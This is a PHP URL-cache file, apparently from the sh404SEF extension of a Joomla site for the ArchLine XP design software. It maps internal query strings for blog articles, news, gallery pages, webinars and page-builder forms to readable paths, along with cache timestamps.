+$this->_urlCache['1e27ddaa7b2e36a255e817f53ba19055']='index.php?option=com_content&Itemid=367&catid=25&id=938&lang=en&view=article#blog/professional-articles/how-to-render-sketchup-models-with-archline-xp-live#0'; +$this->_urlCache['498c197bf0af2daf295d11f6b0294ce9']='index.php?option=com_content&Itemid=367&catid=25&id=936&lang=en&view=article#blog/professional-articles/modeling-and-rendering-comparing-software-solutions#0'; +$this->_urlCache['a18ac5e9169bd6565c27445d762b5644']='index.php?option=com_content&Itemid=367&catid=25&id=900&lang=en&view=article#blog/professional-articles/choosing-the-right-tool-for-interior-design-2#0'; +$this->_urlCache['8dde6e1b67bef7d7e5116a433641c16c']='index.php?option=com_content&Itemid=367&catid=25&id=894&lang=en&view=article#blog/professional-articles/choosing-the-right-tool-for-interior-design#1'; +$this->_urlCache['1e8bbf327331875360ff5b7005106d0a']='index.php?option=com_content&Itemid=367&catid=25&id=897&lang=en&view=article#blog/professional-articles/2d-3d-and-bim-what-s-the-difference-3#0'; +$this->_urlCache['33a2f689d662ae2d2946c7512d4512e3']='index.php?option=com_content&Itemid=367&catid=25&id=891&lang=en&view=article#blog/professional-articles/rendering-tutorial#0'; +$this->_urlCache['5395f04a0617b2e36d93008c9259ebbe']='index.php?option=com_content&Itemid=367&catid=25&id=889&lang=en&view=article#blog/professional-articles/does-archline-xp-really-complement-zwcad#0'; +$this->_urlCache['95e407c9ff1bb8d7654064cd3c03bdbf']='index.php?option=com_content&Itemid=367&catid=25&id=887&lang=en&view=article#blog/professional-articles/rendering-guide#0'; +$this->_urlCache['003e3dbe2a695cae3224150e66997780']='index.php?option=com_content&Itemid=367&catid=25&id=888&lang=en&view=article#blog/professional-articles/archline-xp-2021-s-top-5-features#0'; +$this->_urlCache['67b1bd8bab764856da485c88c0f9c95c']='index.php?option=com_content&Itemid=367&catid=25&id=869&lang=en&view=article#blog/professional-articles/archline-xp-architectural-bim-design-software#0'; +$this->_urlCache['e6ba10f6b24540e2ceaa5af3643f5159']='index.php?option=com_content&Itemid=367&catid=25&id=826&lang=en&view=article#blog/professional-articles/tags#0'; +$this->_urlCache['08941341bcaeae10356a4a119f0ce727']='index.php?option=com_content&Itemid=367&catid=25&id=823&lang=en&view=article#blog/professional-articles/grid-lines-in-archline-xp-2020#0'; +$this->_urlCache['5df13b8df563fa72c88716b9259de92e']='index.php?option=com_content&Itemid=367&catid=25&id=801&lang=en&view=article#blog/professional-articles/remodeled-in-archline-xp-bauhaus-dessau#0'; +$this->_urlCache['d8e6e1c013b5a6df3b93c0aa5e7e042f']='index.php?option=com_content&Itemid=367&catid=25&id=791&lang=en&view=article#blog/professional-articles/how-to-use-phases-in-archline-xp#0'; +$this->_urlCache['cf6559527671b0316ce3cbac6c54479c']='index.php?option=com_content&Itemid=367&catid=25&id=790&lang=en&view=article#blog/professional-articles/dimensioning-in-archline-xp#0'; +$this->_urlCache['6572cce46b6d170ecc786c3db79a7e4f']='index.php?option=com_content&Itemid=367&catid=25&id=789&lang=en&view=article#blog/professional-articles/top-10-1-interior-design-features-in-archline-xp#0'; +$this->_urlCache['f001b43b4624bef82c5679dceb48b8c1']='index.php?option=com_content&Itemid=367&catid=25&id=788&lang=en&view=article#blog/professional-articles/software-communication-how-to-import-and-export-ifc-files-in-archline-xp#0'; +$this->_urlCache['f58478d4789ce9d0a0f634dd8f685b0e']='index.php?option=com_content&Itemid=367&catid=25&id=787&lang=en&view=article#blog/professional-articles/top-10-1-features-in-archline-xp#0'; +$this->_urlCache['eff3bb5f1284dbe95f0f64dd552412c3']='index.php?option=com_content&Itemid=367&catid=25&id=786&lang=en&view=article#blog/professional-articles/schedules-in-archline-xp#0'; +$this->_urlCache['ff012fabd32f10fbbea63cab5cd6e3d0']='index.php?option=com_content&Itemid=367&catid=25&id=776&lang=en&view=article#blog/professional-articles/10-tips-to-create-beautiful-drawings-in-archline-xp#0'; +$this->_urlCache['023bde3156252fb595664f514b059f89']='index.php?option=com_content&Itemid=367&catid=25&id=774&lang=en&view=article#blog/professional-articles/getting-started-in-archline-xp-live-for-interior-designers#0'; +$this->_urlCache['86d1b0e4d0b02d14d7f3fee98c10bac0']='index.php?option=com_content&Itemid=367&catid=25&id=773&lang=en&view=article#blog/professional-articles/getting-started-in-archline-xp-live-for-architects#0'; +$this->_urlCache['3d4f97691f34b484e7c32ad61f8a33d7']='index.php?option=com_content&Itemid=367&catid=25&id=770&lang=en&view=article#blog/professional-articles/how-to-create-panorama-360-with-archline-xp#0'; +$this->_urlCache['5b3145290ee4e5ce568ed10b382f21f4']='index.php?option=com_content&Itemid=367&catid=25&id=767&lang=en&view=article#blog/professional-articles/how-to-use-layers-efficiently-in-archline-xp#0'; +$this->_urlCache['05ebd5d2d7106428cad4c086dacedd1c']='index.php?option=com_content&Itemid=367&id=25&lang=en&limit=31&limitstart=31&view=category#blog/professional-articles/Page-2-31#0'; +$shURLCacheCreationDate=1777893177; +$this->_urlCache['7d8f64974cb51d4695748d846533c026']='index.php?option=com_content&Itemid=175&catid=20&id=595&lang=en&view=article#archline-xp/gallery/picture-of-the-month/october-2015#0'; +$shURLCacheCreationDate=1777893479; +$this->_urlCache['65707551e6f948adfa9e546604bab2d9']='index.php?option=com_content&Itemid=124&catid=18&id=436&lang=en&view=article#education/tips-documentation/helping-tips/excluding-walls-from-calculations#0'; +$shURLCacheCreationDate=1777893795; +$this->_urlCache['0d48cf2245b2d500b7497e15c8394e7f']='index.php?option=com_sppagebuilder&Itemid=779&id=329&lang=en&layout=edit&tmpl=component&view=form#edit/329#0'; +$shURLCacheCreationDate=1777893842; +$this->_urlCache['4aa1f67c94bc7fa84f365f3cdf658e2f']='index.php?option=com_content&Itemid=189&id=42&lang=en&view=category#blog/news/#1'; +$shURLCacheCreationDate=1777894061; +$this->_urlCache['bd9d26864efb762de8a532b1345afdbc']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&type=rss&view=category#archline-xp/news/feed/rss#0'; +$this->_urlCache['2db74a69b45de56eb911d9cd560557c8']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&type=atom&view=category#archline-xp/news/feed/atom#0'; +$this->_urlCache['c1be419598b63826b567a7637a78fec8']='index.php?option=com_content&Itemid=124&catid=42&id=913&lang=en&view=article#archline-xp/news/archline-xp-announces-integration-with-3dconnexion#0'; +$this->_urlCache['44cc944b1cc816ad0aefe00f8a2c7bdf']='index.php?option=com_content&Itemid=124&catid=42&id=844&lang=en&view=article#archline-xp/news/geomatika-university-college-learns-bim-using-archline-xp#0'; +$this->_urlCache['34c255b6e666edff444a4b974cd3d944']='index.php?option=com_content&Itemid=124&catid=42&id=819&lang=en&view=article#archline-xp/news/from-architecture-and-interior-design-to-bim-technology#0'; +$this->_urlCache['09d60304e848456650e7abc58a59d4f7']='index.php?option=com_content&Itemid=124&catid=42&id=816&lang=en&view=article#archline-xp/news/curtin-university-receives-archline-xp-grant#0'; +$this->_urlCache['6e157e3ffcd48fa5767f0aa6c03ba4a7']='index.php?option=com_content&Itemid=124&catid=42&id=817&lang=en&view=article#archline-xp/news/presenting-archline-college-of-architects-of-la-rioja#0'; +$this->_urlCache['75f4e1b10ab9af9133624820a1ee2194']='index.php?option=com_content&Itemid=124&catid=42&id=811&lang=en&view=article#archline-xp/news/archline-xp-2020-sneak-peek-at-bim-visual-camp-2019#0'; +$this->_urlCache['2f7f2d0b844cc309027317094f899e15']='index.php?option=com_content&Itemid=124&catid=42&id=812&lang=en&view=article#archline-xp/news/archline-xp-2020-debuts-at-2nd-annual-archline-xp-meetup#0'; +$this->_urlCache['08ad71e5b8ea9782ae830c6b72415ef7']='index.php?option=com_content&Itemid=124&catid=42&id=810&lang=en&view=article#archline-xp/news/ucts-graduates-equip-with-bim-in-archline-xp#0'; +$this->_urlCache['ebc755055702f2fd514ee778daefe221']='index.php?option=com_content&Itemid=124&catid=42&id=803&lang=en&view=article#archline-xp/news/introducing-archline-xp-live#0'; +$this->_urlCache['74e738103535c297ebc56f4841dd76bc']='index.php?option=com_content&Itemid=124&catid=42&id=740&lang=en&view=article#archline-xp/news/archline-xp-2019-debuts-at-international-partner-meeting#0'; +$this->_urlCache['7d910b6460ac0ab3fefc9b5832923d46']='index.php?option=com_content&Itemid=124&catid=42&id=685&lang=en&view=article#archline-xp/news/archline-xp-2018-launched#0'; +$this->_urlCache['04353b134ae2585775d5979d9d6e7ba8']='index.php?option=com_content&Itemid=124&catid=42&id=673&lang=en&view=article#archline-xp/news/archline-seeks-to-train-for-bim-adoption-press-release#0'; +$this->_urlCache['0d6e2f9009a7088ad158a580385e88c7']='index.php?option=com_content&Itemid=124&catid=42&id=664&lang=en&view=article#archline-xp/news/archline-xp-speaks-at-bim-visual-camp-2017-seoul#0'; +$this->_urlCache['45e475d215618eac2b7a2bbea08c61ae']='index.php?option=com_content&Itemid=124&catid=42&id=654&lang=en&view=article#archline-xp/news/archline-xp-sale-week-starts#0'; +$this->_urlCache['72fd04ef17abfc5b73c82ffaa6eab882']='index.php?option=com_content&Itemid=124&catid=42&id=636&lang=en&view=article#archline-xp/news/interviews-webinars-press-release#0'; +$this->_urlCache['3e81ecd30642ec977edebea00a4b0596']='index.php?option=com_content&Itemid=124&catid=42&id=630&lang=en&view=article#archline-xp/news/cadline-interview#0'; +$this->_urlCache['ed85ae65521851f06625d3ebea3228ac']='index.php?option=com_content&Itemid=124&catid=42&id=629&lang=en&view=article#archline-xp/news/cadline-kicks-off-gateway-to-bim-campaign#0'; +$this->_urlCache['3f9d3144416e610d8becfcb2d0afddb8']='index.php?option=com_content&Itemid=124&catid=42&id=625&lang=en&view=article#archline-xp/news/new-reseller-in-belgium-and-the-netherlands#0'; +$this->_urlCache['ff9fcdbda29a8a4918e0c24f8838de40']='index.php?option=com_content&Itemid=124&catid=42&id=624&lang=en&view=article#archline-xp/news/bimobject-and-cadline-ltd-sign-cooperation-agreement-2#0'; +$this->_urlCache['a2557ba59e0178c279eafa571399a742']='index.php?option=com_content&Itemid=124&catid=42&id=564&lang=en&view=article#archline-xp/news/bimobject-and-cadline-ltd-sign-cooperation-agreement#0'; +$this->_urlCache['062bdb0679fe61cdc7a30ee999381768']='index.php?option=com_content&Itemid=124&catid=42&id=528&lang=en&view=article#archline-xp/news/archline-xp-2017-the-bim-application-tuned-for-architectural-design#0'; +$this->_urlCache['70b36182644a4095ff7d491a9f45e977']='index.php?option=com_content&Itemid=124&catid=42&id=527&lang=en&view=article#archline-xp/news/k-b-design-london-2017-join-us-on-stand-a108#0'; +$this->_urlCache['03056f88fbbaee0025da209e9ac10f4c']='index.php?option=com_content&Itemid=124&catid=42&id=526&lang=en&view=article#archline-xp/news/archline-xp-successfully-passed-ifc2x3-coordination-view-import-certification#0'; +$this->_urlCache['f4d847f69bcc450375a9e826b098b612']='index.php?option=com_content&Itemid=124&catid=42&id=525&lang=en&view=article#archline-xp/news/london-build-2016#0'; +$this->_urlCache['7be122b269f8ea55bbcd338b01c48c50']='index.php?option=com_content&Itemid=124&catid=42&id=524&lang=en&view=article#archline-xp/news/press-release#0'; +$this->_urlCache['37924dad0adc3ae0e953b724dd61908a']='index.php?option=com_content&Itemid=124&catid=42&id=522&lang=en&view=article#archline-xp/news/introducing-new-software-package#0'; +$this->_urlCache['0a5472b893693595937acb2476c2e013']='index.php?option=com_content&Itemid=124&catid=42&id=400&lang=en&view=article#archline-xp/news/decorex-2016-join-us-on-stand-b54#0'; +$this->_urlCache['aa1a147633f2262e905af434daeae8c7']='index.php?option=com_content&Itemid=124&catid=42&id=481&lang=en&view=article#archline-xp/news/archline-xp-cad-bim-training-for-interior-design-at-wifi-vienna#0'; +$this->_urlCache['0fd3c8c5558cdb90b3a565599ae07e1b']='index.php?option=com_content&Itemid=124&catid=42&id=399&lang=en&view=article#archline-xp/news/nicholas-sunderland-presentation-at-grand-design-live#0'; +$this->_urlCache['5c3b20435e5757a55bfffa27d9d8ff24']='index.php?option=com_content&Itemid=124&catid=42&id=398&lang=en&view=article#archline-xp/news/archline-xp-2016-ifc-2x3-export-certification#0'; +$this->_urlCache['8b1d05eb7d63bd3c9eaf05d277692d0b']='index.php?option=com_content&Itemid=124&catid=42&id=397&lang=en&view=article#archline-xp/news/come-and-see-us-at-kbb-birmingham-2016#0'; +$this->_urlCache['d114ae8b2c8d69dd878a268d1060a798']='index.php?option=com_content&Itemid=124&catid=42&id=396&lang=en&view=article#archline-xp/news/archline-xp-interior-at-decorex-2015#0'; +$shURLCacheCreationDate=1777894062; +$this->_urlCache['7bc75ceb5504f47d61a4ef7aa4160af1']='index.php?option=com_content&Itemid=124&catid=54&id=761&lang=en&view=article#education/webinars/archline-xp-live-your-design-comes-to-life#0'; +$shURLCacheCreationDate=1777894196; +$this->_urlCache['65043449e38da041d025f70dbe062f89']='index.php?option=com_content&Itemid=366&catid=24&id=746&lang=en&view=article#blog/case-studies/modern-kid-friendly-family-home-designer-ms-betty-doka#0'; +$shURLCacheCreationDate=1777894249; +$this->_urlCache['7344e426a543455c5a41b3090eaa6fc0']='index.php?option=com_users&Itemid=124&lang=en&view=login#log-in/#0'; +$shURLCacheCreationDate=1777894256; +$this->_urlCache['3d71b354a4852c5ad8618f01cc59b7e9']='index.php?option=com_sppagebuilder&Itemid=446&id=138&lang=en&view=page#user/partner-portal#0'; +$this->_urlCache['77d7fbf00212da29d84922dc212f58ce']='index.php?option=com_sppagebuilder&Itemid=673&id=244&lang=en&view=page#user-details#0'; +$this->_urlCache['d964e821dfd06157fa5ea5ee39fb1b4c']='index.php?option=com_sppagebuilder&Itemid=674&id=245&lang=en&view=page#billing-information#0'; +$this->_urlCache['24eee9fa59ebb87ca3429879ee13c491']='index.php?option=com_sppagebuilder&Itemid=675&id=246&lang=en&view=page#security#0'; +$this->_urlCache['9cd45c09fe172194713426f103f29f4b']='index.php?option=com_sppagebuilder&Itemid=676&id=247&lang=en&view=page#licenses#0'; +$this->_urlCache['2919e3d5c68f066381dae7bc953bcfe7']='index.php?option=com_sppagebuilder&Itemid=783&id=333&lang=en&view=page#aicredits#1'; +$shURLCacheCreationDate=1777894260; +$this->_urlCache['41f580f658f630150533a7389bb9948d']='index.php?option=com_content&Itemid=372&id=683&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2018-release-notes#0'; +$this->_urlCache['6be072d98569a1527ac9407a069c078e']='index.php?option=com_sppagebuilder&Itemid=211&id=21&lang=en&view=page#archline-xp/new-in-archline-xp-2017#0'; +$this->_urlCache['ee16ca5bce45aaa7f6c32b40c605a7b2']='index.php?option=com_content&Itemid=372&id=560&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2017-release-notes#0'; +$this->_urlCache['44b86b1e24ce302a43409123d2f57009']='index.php?option=com_content&Itemid=319&id=561&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2016-release-notes#0'; +$this->_urlCache['1f6e26684ad4a346a22db240a113a038']='index.php?option=com_sppagebuilder&Itemid=405&id=58&lang=en&view=page#download/download-center/downloadable-applications/sanitary-ware#1'; +$shURLCacheCreationDate=1777894267; +$this->_urlCache['c3d785d597473042e89b44b4e027dbf5']='index.php?option=com_content&Itemid=124&catid=18&id=427&lang=en&view=article#education/tips-documentation/helping-tips/how-to-convert-an-object-to-real-door-or-window#0'; +$shURLCacheCreationDate=1777894280; +$this->_urlCache['297597c88bc1bb662cdda9bd49f74549']='index.php?option=com_sppagebuilder&Itemid=782&id=332&lang=en&layout=edit&tmpl=component&view=form#edit/332#0'; +$shURLCacheCreationDate=1777894407; +$this->_urlCache['52d51d06b2f6298f8929886d487e9f7a']='index.php?option=com_content&Itemid=175&catid=20&id=945&lang=en&view=article#archline-xp/gallery/picture-of-the-month/may-2022#0'; +$shURLCacheCreationDate=1777894919; +$this->_urlCache['8956c1b04f8b17ff23676561303d10fa']='index.php?option=com_sppagebuilder&Itemid=224&id=113&lang=en&layout=edit&tmpl=component&view=form#113-architectural-benefits/edit#0'; +$shURLCacheCreationDate=1777894927; +$this->_urlCache['ad7ea8c38995e65a4ebccffe0469bf59']='index.php?option=com_content&Itemid=124&catid=18&id=443&lang=en&view=article#education/tips-documentation/helping-tips/print-to-pdf-dialogue-with-unreadable-texts#0'; +$shURLCacheCreationDate=1777895316; +$this->_urlCache['080146211a06fb85cae96c2e15da8830']='index.php?option=com_sppagebuilder&Itemid=767&id=316&lang=en&view=page#education/archline-xp-virtual-classroom-courses#1'; +$this->_urlCache['7ec9815328c00ca34eddf1a7844d0733']='index.php?option=com_sppagebuilder&Itemid=450&id=143&lang=en&view=page#education/tutorial-videos#0'; +$this->_urlCache['5c5ea15a1eda108ece6aaeaf5d459ff2']='index.php?option=com_sppagebuilder&Itemid=700&id=261&lang=en&view=page#webinars#1'; +$this->_urlCache['22c78404ea6538cddcf68c830f931d17']='index.php?option=com_sppagebuilder&Itemid=723&id=273&lang=en&view=page#buy/upgrade#1'; +$this->_urlCache['c8b4c62d9742fe989f13bdf01692c31d']='index.php?option=com_sppagebuilder&Itemid=721&id=277&lang=en&view=page#products/archline-xp-live#1'; +$this->_urlCache['9c08ae342da826bb60204d3efcaa87c0']='index.php?option=com_sppagebuilder&Itemid=641&id=282&lang=en&view=page#download-live/download-trial-live#0'; +$this->_urlCache['51ed85e6c8f0d0dc429ddfcb2c0f844f']='index.php?option=com_sppagebuilder&Itemid=642&id=283&lang=en&view=page#download-live/download-center-live#0'; +$this->_urlCache['beb5ee30d4a8ad97593059fbeae3b286']='index.php?option=com_sppagebuilder&Itemid=687&id=254&lang=en&view=page#products/archline-xp-live/learn-live#1'; +$this->_urlCache['56f35f960d09f2a88b26f1a28be8daec']='index.php?option=com_sppagebuilder&Itemid=741&id=285&lang=en&view=page#about/gallery-live#0'; +$this->_urlCache['f11944983cde5811b814fb04b828ef78']='index.php?option=com_sppagebuilder&Itemid=621&id=219&lang=en&view=page#products/archline-xp-live/live-reference-videos#0'; +$this->_urlCache['d0b4503053e9d0114b8a3a14a8204894']='index.php?option=com_speasyimagegallery&Itemid=586&id=3&lang=en&view=album#products/archline-xp-live/live-gallery#1'; +$shURLCacheCreationDate=1777895383; +$this->_urlCache['a913c032fcad4cd2ea0ea084e5830ce4']='index.php?option=com_sppagebuilder&Itemid=446&id=138&lang=en&layout=edit&tmpl=component&view=form#138-partner-portal/edit#0'; +$this->_urlCache['080146211a06fb85cae96c2e15da8830']='index.php?option=com_sppagebuilder&Itemid=767&id=316&lang=en&view=page#education/archline-xp-virtual-classroom-courses#1'; +$this->_urlCache['7ec9815328c00ca34eddf1a7844d0733']='index.php?option=com_sppagebuilder&Itemid=450&id=143&lang=en&view=page#education/tutorial-videos#0'; +$this->_urlCache['5c5ea15a1eda108ece6aaeaf5d459ff2']='index.php?option=com_sppagebuilder&Itemid=700&id=261&lang=en&view=page#webinars#1'; +$this->_urlCache['22c78404ea6538cddcf68c830f931d17']='index.php?option=com_sppagebuilder&Itemid=723&id=273&lang=en&view=page#buy/upgrade#1'; +$this->_urlCache['c8b4c62d9742fe989f13bdf01692c31d']='index.php?option=com_sppagebuilder&Itemid=721&id=277&lang=en&view=page#products/archline-xp-live#1'; +$this->_urlCache['9c08ae342da826bb60204d3efcaa87c0']='index.php?option=com_sppagebuilder&Itemid=641&id=282&lang=en&view=page#download-live/download-trial-live#0'; +$this->_urlCache['51ed85e6c8f0d0dc429ddfcb2c0f844f']='index.php?option=com_sppagebuilder&Itemid=642&id=283&lang=en&view=page#download-live/download-center-live#0'; +$this->_urlCache['beb5ee30d4a8ad97593059fbeae3b286']='index.php?option=com_sppagebuilder&Itemid=687&id=254&lang=en&view=page#products/archline-xp-live/learn-live#1'; +$this->_urlCache['56f35f960d09f2a88b26f1a28be8daec']='index.php?option=com_sppagebuilder&Itemid=741&id=285&lang=en&view=page#about/gallery-live#0'; +$this->_urlCache['f11944983cde5811b814fb04b828ef78']='index.php?option=com_sppagebuilder&Itemid=621&id=219&lang=en&view=page#products/archline-xp-live/live-reference-videos#0'; +$this->_urlCache['d0b4503053e9d0114b8a3a14a8204894']='index.php?option=com_speasyimagegallery&Itemid=586&id=3&lang=en&view=album#products/archline-xp-live/live-gallery#1'; +$shURLCacheCreationDate=1777895385; +$this->_urlCache['d7500c98832baed79a8b8469cba72366']='index.php?option=com_content&Itemid=124&catid=54&id=734&lang=en&view=article#education/webinars/everything-about-slabs-columns-and-beams#0'; +$shURLCacheCreationDate=1777895720; +$this->_urlCache['e373cc64a3e0b857939af2f882986c66']='index.php?option=com_sppagebuilder&Itemid=427&id=125&lang=en&layout=edit&tmpl=component&view=form#125-partners/edit#0'; +$shURLCacheCreationDate=1777895942; +$this->_urlCache['3a62b10d42c9922e8850092f514a52b8']='index.php?option=com_sppagebuilder&Itemid=772&id=323&lang=en&layout=edit&tmpl=component&view=form#edit/323#0'; +$shURLCacheCreationDate=1777895944; +$this->_urlCache['fa80692d7be5bfb8cf2352041d40c702']='index.php?option=com_sppagebuilder&Itemid=749&id=288&lang=en&layout=edit&tmpl=component&view=form#edit/288#0'; +$shURLCacheCreationDate=1777895947; +$this->_urlCache['ca7220e6640b1dc07194bf66d38aaf84']='index.php?option=com_sppagebuilder&Itemid=760&id=308&lang=en&layout=edit&tmpl=component&view=form#edit/308#0'; +$shURLCacheCreationDate=1777895949; +$this->_urlCache['fee17abbe20572355efe3d9119db66c1']='index.php?option=com_sppagebuilder&Itemid=753&id=296&lang=en&layout=edit&tmpl=component&view=form#edit/296#0'; +$shURLCacheCreationDate=1777895951; +$this->_urlCache['59dab0ef4f68f4801ab14fb92fd5397d']='index.php?option=com_sppagebuilder&Itemid=752&id=295&lang=en&layout=edit&tmpl=component&view=form#edit/295#0'; +$shURLCacheCreationDate=1777895952; +$this->_urlCache['5e307da3e3774d95d9fa0b2b635ec992']='index.php?option=com_sppagebuilder&Itemid=774&id=324&lang=en&layout=edit&tmpl=component&view=form#edit/324#0'; +$shURLCacheCreationDate=1777895954; +$this->_urlCache['426e2545aa12a2ac134b74e237b93d4e']='index.php?option=com_sppagebuilder&Itemid=798&id=352&lang=en&layout=edit&tmpl=component&view=form#edit/352#0'; +$shURLCacheCreationDate=1777895962; +$this->_urlCache['ecad86df1eaca5053dcb2aa1f9b6e2b4']='index.php?option=com_sppagebuilder&Itemid=776&id=326&lang=en&layout=edit&tmpl=component&view=form#edit/326#0'; +$shURLCacheCreationDate=1777895967; +$this->_urlCache['2972ed97f1f7b5bae86c2dc6961110f6']='index.php?option=com_sppagebuilder&Itemid=787&id=339&lang=en&layout=edit&tmpl=component&view=form#edit/339#0'; +$shURLCacheCreationDate=1777895968; +$this->_urlCache['33f192fb9e9689bdf74f0dfb76a35f1c']='index.php?option=com_sppagebuilder&Itemid=210&id=119&lang=en&layout=edit&tmpl=component&view=form#119-support/edit#0'; +$shURLCacheCreationDate=1777895972; +$this->_urlCache['fbaea3ac83dfebe18dd4697e2b28d461']='index.php?option=com_sppagebuilder&Itemid=789&id=341&lang=en&layout=edit&tmpl=component&view=form#edit/341#0'; +$shURLCacheCreationDate=1777895976; +$this->_urlCache['ddd68d77ef835234ad17a21b26238434']='index.php?option=com_sppagebuilder&Itemid=780&id=334&lang=en&layout=edit&tmpl=component&view=form#edit/334#0'; +$shURLCacheCreationDate=1777895977; +$this->_urlCache['6bf906054b8d5db92aeb04f134f656c7']='index.php?option=com_sppagebuilder&Itemid=215&id=60&lang=en&layout=edit&tmpl=component&view=form#60-downloadable-applications/edit#0'; +$shURLCacheCreationDate=1777895979; +$this->_urlCache['58dfd3bc381d3a4ba844ebe6f4a2052b']='index.php?option=com_sppagebuilder&Itemid=321&id=62&lang=en&layout=edit&tmpl=component&view=form#62-drivers/edit#0'; +$shURLCacheCreationDate=1777895980; +$this->_urlCache['ebec035a44cc2c373bd131fef6575edb']='index.php?option=com_sppagebuilder&Itemid=759&id=306&lang=en&layout=edit&tmpl=component&view=form#edit/306#0'; +$shURLCacheCreationDate=1777895981; +$this->_urlCache['2ae177db93151976e1025b5f730774dc']='index.php?option=com_sppagebuilder&Itemid=758&id=305&lang=en&layout=edit&tmpl=component&view=form#edit/305#0'; +$shURLCacheCreationDate=1777895982; +$this->_urlCache['408b49fca0a1fda057658a9656d1c7dd']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&type=rss&view=category#archline-xp/gallery/picture-of-the-month/feed/rss#0'; +$this->_urlCache['7d727871981a2746748e287bd9bcbf62']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&type=atom&view=category#archline-xp/gallery/picture-of-the-month/feed/atom#0'; +$this->_urlCache['6afdb034fdaf4c7e8cd56900f70e7fae']='index.php?option=com_content&Itemid=175&catid=20&id=1088&lang=en&view=article#archline-xp/gallery/picture-of-the-month/picture-of-the-year-2025#0'; +$this->_urlCache['8b47fdca43d3b7b9b37d6f147c89b908']='index.php?option=com_content&Itemid=175&catid=20&id=1053&lang=en&view=article#archline-xp/gallery/picture-of-the-month/picture-of-the-year-2024#0'; +$this->_urlCache['e288d4c8fc23423627f0649f05d26cb1']='index.php?option=com_content&Itemid=175&catid=20&id=1050&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-december#0'; +$this->_urlCache['3e1fca1706575d976496c052ee080d44']='index.php?option=com_content&Itemid=175&catid=20&id=1044&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-october#0'; +$this->_urlCache['c2054f30c9045a89bafc4409056c1204']='index.php?option=com_content&Itemid=175&catid=20&id=1043&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-september#0'; +$this->_urlCache['65cbc7032f37c8d6e544c2417b97f5c4']='index.php?option=com_content&Itemid=175&catid=20&id=1033&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-july#0'; +$this->_urlCache['3dbfb0a7f727c133811042f9c7c9af46']='index.php?option=com_content&Itemid=175&catid=20&id=1031&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-may#0'; +$this->_urlCache['987baab41086fb5cccfe3e98f1f6959e']='index.php?option=com_content&Itemid=175&catid=20&id=1025&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-april#0'; +$this->_urlCache['7588a028d0f0fb93d8282ca5b99eb5d0']='index.php?option=com_content&Itemid=175&catid=20&id=1021&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-march#0'; +$this->_urlCache['d19871c108ad2db943c740658c019fa2']='index.php?option=com_content&Itemid=175&catid=20&id=1009&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-february#0'; +$this->_urlCache['aebee0f1c289804e010de29494893ec9']='index.php?option=com_content&Itemid=175&catid=20&id=1002&lang=en&view=article#archline-xp/gallery/picture-of-the-month/picture-of-the-year-2023#0'; +$this->_urlCache['fecc859bb5b5eaebc754c903e906f520']='index.php?option=com_content&Itemid=175&catid=20&id=994&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2023-november#0'; +$this->_urlCache['e44bdc1b414abefb60fe75a12323e72c']='index.php?option=com_content&Itemid=175&catid=20&id=987&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2023-september#0'; +$this->_urlCache['819bb96fda333c1faf51099f924d13e9']='index.php?option=com_content&Itemid=175&catid=20&id=982&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2023-august-2#0'; +$this->_urlCache['e16441e6e3eec13626ae24b4018d6674']='index.php?option=com_content&Itemid=175&catid=20&id=980&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2023-july#0'; +$this->_urlCache['88802c6e1b3213e7a2e1221e0ff5bc0c']='index.php?option=com_content&Itemid=175&catid=20&id=976&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2023-may#0'; +$this->_urlCache['6958b994d4a3ae588dd9fb9be957591a']='index.php?option=com_content&Itemid=175&catid=20&id=970&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2023-march#0'; +$this->_urlCache['94d3c2116d3870b43571d2319bdf7910']='index.php?option=com_content&Itemid=175&catid=20&id=967&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2023-february#0'; +$this->_urlCache['2bdeebe52449c11f433d3440457b6237']='index.php?option=com_content&Itemid=175&catid=20&id=961&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2022-november#0'; +$this->_urlCache['1534c72a0a362a9e3aa7412b64740e60']='index.php?option=com_content&Itemid=175&catid=20&id=958&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2022-october#0'; +$this->_urlCache['f5cfdb8c10a56dd9d2b3d1934bd46fd9']='index.php?option=com_content&Itemid=175&catid=20&id=953&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2022-september#0'; +$this->_urlCache['7a6ce5e487d7bda8adc0c811f1fd7305']='index.php?option=com_content&Itemid=175&catid=20&id=954&lang=en&view=article#archline-xp/gallery/picture-of-the-month/june-2022#0'; +$this->_urlCache['e10d4aff1c356205d7b179e4b1e7f88a']='index.php?option=com_content&Itemid=175&catid=20&id=929&lang=en&view=article#archline-xp/gallery/picture-of-the-month/march-2022#0'; +$this->_urlCache['3b1f516b5e72ef1459c61de482975c43']='index.php?option=com_content&Itemid=175&catid=20&id=927&lang=en&view=article#archline-xp/gallery/picture-of-the-month/february-2022#0'; +$this->_urlCache['16f69fbf48f064aa502424c071c2745c']='index.php?option=com_content&Itemid=175&catid=20&id=926&lang=en&view=article#archline-xp/gallery/picture-of-the-month/januar-2022#0'; +$this->_urlCache['36324eda9e07a0791efefe54660596bc']='index.php?option=com_content&Itemid=175&catid=20&id=921&lang=en&view=article#archline-xp/gallery/picture-of-the-month/picture-of-the-year-2021#0'; +$this->_urlCache['770a9c076e31c6d627fd5b6fa62e7e4a']='index.php?option=com_content&Itemid=175&catid=20&id=914&lang=en&view=article#archline-xp/gallery/picture-of-the-month/december-2021#0'; 